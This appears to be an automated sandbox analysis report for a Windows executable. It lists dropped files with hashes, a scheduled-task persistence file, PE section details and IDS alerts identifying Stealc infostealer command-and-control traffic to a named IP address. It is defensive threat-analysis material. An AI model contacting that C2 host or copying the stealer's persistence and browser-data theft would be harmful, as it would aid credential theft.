Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore-backups\recovery.baklz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 6150 bytes
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	6.396002056284216
Encrypted:	false
SSDEEP:
MD5:	7F74BC33550686AE0D8403D03D386267
SHA1:	710822D6ED91CEB35B652CC79233ED26EB53D018
SHA-256:	4E42549BB345B13490E65B0BE2A2445BB14A1BB92BDC8BF552F4487DAC3544B6
SHA-512:	EAD82E740E69EC4C718EFF6CB4845A840C7ACAFFF9C645B0D323F5F5A183BB06294FB3653EF0BCC415D6AB1414E1734F187623EE477F1937C02DD35060576807
Malicious:	false
Reputation:	unknown
Preview:	mozLz40.......{"version":["ses....restore",1],"windows":[{"tab..bentrie...url":"about:A..."triggeringPrincipal_base64":"eyIzIjp7fX0="}],"lastAccessed":1732910285357,"hidden":false,"searchMode":null,"userContextId":0,"attributes":{},"index":1,"formdata":{"id":{...D.....91hom....itle":"New Tab","cacheKey....ID":5,"docshellUU...!"{d7893ea6-43eb-4a96-b2ba-310d939cde38}","resultf.4URI...pz..ToInherit..s{\"0\":...\"moz-null4...:{b0f14aa0-7cc0-4b79-89b6-82a5f80..Pb}\"}....hasUserInteractW........@{\"3...E...docIdentifier":6,"persist":true)...696426840415).30mag....chrome://branding/ca..nt/icon32.png"X..requestedIk..0..aselect...,"_closedTK.@],"_...C....GroupCount":-1,....Flags":2150633470....dth":1164,"height":891,"screenX":4...Y..Aizem0.."maximized"...BeforeMin...&..workspace....4cf85e37-0c3c-4cf0-94b4-d7333ac69ef8...._shouldRb....","..*At...6......I..W...6..O........p....1":{R.hUpdate\. 66'.wtartTim..P36329...centCrash...0},"globalF.Dcook.. ho...."addons.mozilla.or..@valuE..Ab03116d8508741e

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore-backups\recovery.jsonlz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 6150 bytes
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	6.396002056284216
Encrypted:	false
SSDEEP:
MD5:	7F74BC33550686AE0D8403D03D386267
SHA1:	710822D6ED91CEB35B652CC79233ED26EB53D018
SHA-256:	4E42549BB345B13490E65B0BE2A2445BB14A1BB92BDC8BF552F4487DAC3544B6
SHA-512:	EAD82E740E69EC4C718EFF6CB4845A840C7ACAFFF9C645B0D323F5F5A183BB06294FB3653EF0BCC415D6AB1414E1734F187623EE477F1937C02DD35060576807
Malicious:	false
Reputation:	unknown
Preview:	mozLz40.......{"version":["ses....restore",1],"windows":[{"tab..bentrie...url":"about:A..."triggeringPrincipal_base64":"eyIzIjp7fX0="}],"lastAccessed":1732910285357,"hidden":false,"searchMode":null,"userContextId":0,"attributes":{},"index":1,"formdata":{"id":{...D.....91hom....itle":"New Tab","cacheKey....ID":5,"docshellUU...!"{d7893ea6-43eb-4a96-b2ba-310d939cde38}","resultf.4URI...pz..ToInherit..s{\"0\":...\"moz-null4...:{b0f14aa0-7cc0-4b79-89b6-82a5f80..Pb}\"}....hasUserInteractW........@{\"3...E...docIdentifier":6,"persist":true)...696426840415).30mag....chrome://branding/ca..nt/icon32.png"X..requestedIk..0..aselect...,"_closedTK.@],"_...C....GroupCount":-1,....Flags":2150633470....dth":1164,"height":891,"screenX":4...Y..Aizem0.."maximized"...BeforeMin...&..workspace....4cf85e37-0c3c-4cf0-94b4-d7333ac69ef8...._shouldRb....","..*At...6......I..W...6..O........p....1":{R.hUpdate\. 66'.wtartTim..P36329...centCrash...0},"globalF.Dcook.. ho...."addons.mozilla.or..@valuE..Ab03116d8508741e

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore-backups\recovery.jsonlz4.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 6150 bytes
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	6.396002056284216
Encrypted:	false
SSDEEP:
MD5:	7F74BC33550686AE0D8403D03D386267
SHA1:	710822D6ED91CEB35B652CC79233ED26EB53D018
SHA-256:	4E42549BB345B13490E65B0BE2A2445BB14A1BB92BDC8BF552F4487DAC3544B6
SHA-512:	EAD82E740E69EC4C718EFF6CB4845A840C7ACAFFF9C645B0D323F5F5A183BB06294FB3653EF0BCC415D6AB1414E1734F187623EE477F1937C02DD35060576807
Malicious:	false
Reputation:	unknown
Preview:	mozLz40.......{"version":["ses....restore",1],"windows":[{"tab..bentrie...url":"about:A..."triggeringPrincipal_base64":"eyIzIjp7fX0="}],"lastAccessed":1732910285357,"hidden":false,"searchMode":null,"userContextId":0,"attributes":{},"index":1,"formdata":{"id":{...D.....91hom....itle":"New Tab","cacheKey....ID":5,"docshellUU...!"{d7893ea6-43eb-4a96-b2ba-310d939cde38}","resultf.4URI...pz..ToInherit..s{\"0\":...\"moz-null4...:{b0f14aa0-7cc0-4b79-89b6-82a5f80..Pb}\"}....hasUserInteractW........@{\"3...E...docIdentifier":6,"persist":true)...696426840415).30mag....chrome://branding/ca..nt/icon32.png"X..requestedIk..0..aselect...,"_closedTK.@],"_...C....GroupCount":-1,....Flags":2150633470....dth":1164,"height":891,"screenX":4...Y..Aizem0.."maximized"...BeforeMin...&..workspace....4cf85e37-0c3c-4cf0-94b4-d7333ac69ef8...._shouldRb....","..*At...6......I..W...6..O........p....1":{R.hUpdate\. 66'.wtartTim..P36329...centCrash...0},"globalF.Dcook.. ho...."addons.mozilla.or..@valuE..Ab03116d8508741e

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 6, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.0836444556178684
Encrypted:	false
SSDEEP:
MD5:	8B40B1534FF0F4B533AF767EB5639A05
SHA1:	63EDB539EA39AD09D701A36B535C4C087AE08CC9
SHA-256:	AF275A19A5C2C682139266065D90C237282274D11C5619A121B7BDBDB252861B
SHA-512:	54AF707698CED33C206B1B193DA414D630901762E88E37E99885A50D4D5F8DDC28367C9B401DFE251CF0552B4FA446EE28F78A97C9096AFB0F2898BFBB673B53
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\targeting.snapshot.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4538
Entropy (8bit):	5.030615134383593
Encrypted:	false
SSDEEP:
MD5:	74BF93D3F45CB32514E74BFCA403D3BB
SHA1:	C7BB2A52EA5938174A962F002F363532E94216C6
SHA-256:	8FC201E438AD513B53EB21B1297DE82EC74842D8C190823AC48D29113506E03A
SHA-512:	64B4C9F0C1B3D4F8989E4C06DAFE9909CB4686667CD85085B7CCCBABDB66FF63A9853007A5103F90843C1EE0B1222C1C2CD9A5D8B4F1DB2C5682828120EACEE4
Malicious:	false
Reputation:	unknown
Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-11-29T19:58:09.996Z","profileAgeCreated":1696426830133,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\targeting.snapshot.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4538
Entropy (8bit):	5.030615134383593
Encrypted:	false
SSDEEP:
MD5:	74BF93D3F45CB32514E74BFCA403D3BB
SHA1:	C7BB2A52EA5938174A962F002F363532E94216C6
SHA-256:	8FC201E438AD513B53EB21B1297DE82EC74842D8C190823AC48D29113506E03A
SHA-512:	64B4C9F0C1B3D4F8989E4C06DAFE9909CB4686667CD85085B7CCCBABDB66FF63A9853007A5103F90843C1EE0B1222C1C2CD9A5D8B4F1DB2C5682828120EACEE4
Malicious:	false
Reputation:	unknown
Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-11-29T19:58:09.996Z","profileAgeCreated":1696426830133,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Users\user\Documents\EBFHJEGDAF.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1884160
Entropy (8bit):	7.94837642945967
Encrypted:	false
SSDEEP:
MD5:	7DE3C1AE47C4A3711EB3819636D97A85
SHA1:	5924B412D6547712A0F39B44D39E8881D0465B14
SHA-256:	4FF54307625CF4128E1F1D2ED924326E609B3F4DD14643717C27B196ABCD1EA6
SHA-512:	47C834D272C6F198A434617D06FE42FAC0CF7E0F77A92BDBFF6B2D6D8067F7C00F3B7BDEF2539C614B9BD2709859489F8DFCCAD0C604393507D1A519D9BD311F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@...........................J...........@.................................W...k.......D...................@.J...............................J..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .0*.........................@...wdmrrcke......0.....................@...rnnjldgn......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Documents\EBFHJEGDAF.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.3889597651471277
Encrypted:	false
SSDEEP:
MD5:	FF56FC3D8822DD948A6D7A5218CE79DE
SHA1:	05ADC995630D4CE7E44DF7CDCD35A956C00444F1
SHA-256:	A882D3565896F41AFF701F696DB56FDE443473B04C19C8B37793F89989A501B9
SHA-512:	C10528BC7429CA846BE8419C9085F068A8E4452D700107E39A32C5EA9A012C6444E02FEBA0733FD52A796273B950DB338E70ECF9651E4381EF5E26A74E2F43EB
Malicious:	false
Reputation:	unknown
Preview:	......k..3A..za.t..F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0.................3.@3P.........................

Chrome Cache Entry: 151

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (807)
Category:	dropped
Size (bytes):	813
Entropy (8bit):	5.18664637779175
Encrypted:	false
SSDEEP:
MD5:	CE39DFCE51C2CAC5252369EC69DB1AF4
SHA1:	58D96079A588CEABF98A4ACB4E5DFE0B343EBBA2
SHA-256:	D588B05A6F259EEFCD294A4CB68B674FD4329F39870F987EB4C36FB3F632B448
SHA-512:	5D4BBD5B58B9A1A9D33A219B38B1B978E1741DE22602D92755D49CD8449AFB26A712438AD2E6CF9227D43A4C927C5D2EA26360A9D94E7D61ADA37C302C6D8F98
Malicious:	false
Reputation:	unknown
Preview:	)]}'.["",["hallmark christmas movies","kobe grinch football cleats","december monthly games ps plus","planet fitness open on thanksgiving","national dog show vito the pug","ibrahima konat. injury","ripple xrp price prediction","hogwarts legacy graphics overhaul"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 152

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
Reputation:	unknown
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 153

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	dropped
Size (bytes):	132984
Entropy (8bit):	5.435468985096092
Encrypted:	false
SSDEEP:
MD5:	1966701E96FAA7D21AD78C04EBB4F47C
SHA1:	D8DE615F41469429D8A4FE14D7FB0E1A9C5D24B2
SHA-256:	2BD3BCC9C7EB7BCFA457305E9C9CFC97C01A93477F0C5E06EA12B1E6DB99896C
SHA-512:	CF75666626B84F4056AB27260D81704D98683EA10C5A6CCC2938256A57229999DB7CBE5591330C12156ACF2ABACD6ACB79EB34EF52784120C3B29C7B5F9A7732
Malicious:	false
Reputation:	unknown
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 154

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	dropped
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
Reputation:	unknown
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
Reputation:	unknown
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947103518518759
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'789'952 bytes
MD5:	1038f723c2fca19f38fabbed2e099dba
SHA1:	55c976ce86a5f9f781f9c6c4366907c6092f79fa
SHA256:	a94db821e336f4d9481a07fd572b65f40dba79ca5dec9abe4741bbd607ad5d84
SHA512:	dc0c4a68d2a5c24ac8418461a9c5dfc19f338289ef29e0874d00f60d01130c95e021fd4b83c777b55d988c3b99fa447f9b9177368091167ea54865b37028fd7c
SSDEEP:	49152:YUHhOiHg2ibzHNF8d/0Ti8pRHfNxjz99A6:XOiH9ibr8d/ZyRHX9Z
TLSH:	DD8533343E8AB56DC543D43B55834B31BFB9518981EF13FA37730363523BB6A8AA9604
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........PE..L.....Hg...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa8e000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x674897E8 [Thu Nov 28 16:18:48 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F3B807F3DBAh
ucomiss xmm3, dqword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add bh, bh

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1f0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	074ac71aad4ce49ec78a249488ce4357	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1f0	0x200	af3059087a55d1a56ff07d8abda4a14a	False	0.62890625	data	4.888410710159107	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2a5000	0x200	c93679e5bfd4f87fb29acaeb3f790cb1	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ihmwfsmw	0x4f1000	0x19c000	0x19b200	bd09ed9ee01421fc8e901448cebe7770	False	0.9948520399437519	OpenPGP Secret Key	7.955092140457264	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vvsaypnn	0x68d000	0x1000	0x400	b79867edb0205ac460ac08eee27df5f8	False	0.76171875	data	5.941201485614988	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x68e000	0x3000	0x2200	51aa4a0d9b2a3bf8ec86bc65ba6f4e40	False	0.0739889705882353	DOS executable (COM)	0.9567917158404213	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x68bf14	0x198	ASCII text, with CRLF line terminators			0.5833333333333334

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-29T19:49:08.346754+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-29T19:49:08.793710+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
